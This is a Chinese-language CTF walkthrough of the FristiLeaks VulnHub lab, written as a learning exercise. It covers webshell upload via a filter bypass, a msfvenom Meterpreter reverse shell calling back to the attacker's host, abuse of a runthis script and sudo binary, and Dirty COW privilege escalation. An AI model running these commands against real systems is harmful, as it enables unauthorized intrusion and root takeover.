第一次尝试vulnhub,所以准备参照红日攻防实验室的文章做几次
本环境文章地址:http://www.sec-redclub.com/archives/741/
创建好后,我的目标机器ip如下(NAT 处于10.10.10.0/24 网段)
信息收集
首先nmap
扫描,为了扫描比较充分的信息,我使用以下命令
nmap -O -Pn -sS 10.10.10.129
可以看到目标是linux系统,并且开放了80端口web服务端口
WEB页面
访问web页面
先扫描下目录
发现有robots.txt
,cgi-bin
,index.html
和image/目录
image/目录
下有2张图片,keep-calm.png
是index
页面的,3037440.jpg
是一位老爷爷
robots.txt
下面有3个目录,依次访问后,都是上面的老人的图片
然后找不到啥有用的信息了,看了writeup,通过index
页面的keep clam and Drink firsti
的提示访问(这有点脑洞...)
http://10.10.10.129/firsti/
是一个登录页面
查看源码发现一堆base64
解码后发现是图片
这个又没法用web上的base64与图片互转的在线工具,于是把字符base64解码后输出到文件即可看到图片
echo 'base64的字符' | base64 -d > 1.png
打开1.png,获取密码
拿这个密码去登录刚刚的web页面,账号名我最先用admin,没有成功,后面看了源码,发现作者在最上面用注释留了言
那么用eezeepz做账号就能登录了
进去后有个文件上传,因为web的后台是php(可以通过response包看到),所以尝试上传php一句话木马
被拦截了2333
最后加个后缀可以代码执行了?????
后渗透
虽然不知道为什么,还是用蚁剑连接吧,结果连接不上。。。
最后用file_put_contents('./mi0.php', '');
这样的骚方法把shell传上去,能够用蚁剑连接了
因为强迫症,所以非常想将shell弹成msf的形状
这里php的msf反弹shell生成有问题,看了google几篇文章好像要对内容进行修改,但是尝试了半天没成功,最后尝试上传linux x86的msf反弹shell,在蚁剑中运行脚本,能够反弹会msf的shell了
生成木马的命令
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.10.10.128 LPORT=2333 -f elf -o shell
用蚁剑上传,权限改成777,在命令窗口运行
能够拿到msf的shell,msf配置
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LPORT 2333
msf5 exploit(multi/handler) > set LHOST 10.10.10.128
msf5 exploit(multi/handler) > run
看他内核版本是2.6.32,尝试传个脏牛上去,脏牛使用方法:http://www.bubuko.com/infodetail-2988973.html
之后再来说这脏牛
先按照正常的思路去翻翻文件,先到home下去看有哪些用户,并且我们是apache,在web页面的时候就知道是eezeepz,进入后查看文件
有个note.txt 令我很在意,打开看看
那么在/tmp/
目录下新建1个runthis的文件,并加上以 /home/admin/
开头或者/usr/bin/
开头的命令就可以以admin
的身份去执行加的命令,这里我最先有点蒙,看了wirteup的思路,它是这么写的
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > runthis
我后面看了执行这个功能的python脚本才理解了出题人的用意,上面的writeup稍微有点脱了裤子放屁的感觉,这里下面2个命令都可以
/usr/bin/chmod 777 /home/admin
/home/admin/chmod 777 /home/admin #因为提示说,admin目录下有chmod命令
所以在mef中直接用edit
改就行
然后就可以进入admin文件夹里面了,可以看到这个在/tmp下执行admin权限的python脚本的写法
当然2个txt文件都看了看,是加密的密文
加密脚本的内容如下
对应着写出解密脚本
import sys
import base64
import codecs
crypt = sys.argv[1]
def decodeString(str):
str = codecs.decode(str, 'rot13')
return base64.b64decode(str[::-1])
if __name__ == '__main__':
print decodeString(crypt)
解密内容得的以下2个
之后的思路就是登陆fristi
,在msf中没有找到切换账号的便捷命令,所以只能进入到shell中进行操作,这里的密码是LetThereBeFristi!
,直到最后也不知道thisisalsopw123
是啥玩意儿
切换账号需要交互式的shell,因为目标有python,所以可以通过python
python -c 'import pty;pty.spawn("/bin/sh")'
我翻烂了/home
目录,啥都没有,最后看writeup,在/var/firstigod
里面才有真正的信息
看了下目录大概有这几个东西
/var/fristigod
|bash_history //记录历史操作的
|secret_admin_stuff //一个文件夹
|doCom //一个文件
直接执行doCom
文件
估计使用管理员账号了,查看下bash_history的内容,里面有之前fristigod
用户执行的一些命令
看了一下命令,使用了sudo 获取管理员权限去执行了doCom
,主要是doCom
还带了ls
这个命令参数,因此最后像他这样写命令查看/root
目录
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /root
最后
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom cat /root/fristileks_secrets.txt
获取flag : Y0u_kn0w_y0u_l0ve_fr1st1
脏牛使用
在之前上传了脏牛的二进制文件,接下来先切换到交互式模式
python -c 'import pty;pty.spawn("/bin/sh")'
之后运行脏牛
./dirty 123456
成功后用firefart
账号登录,密码就是123456
,直接获得root权限,可以查看flag了
小结
学习了很多后渗透这块的知识,都不难,主要是一个思路。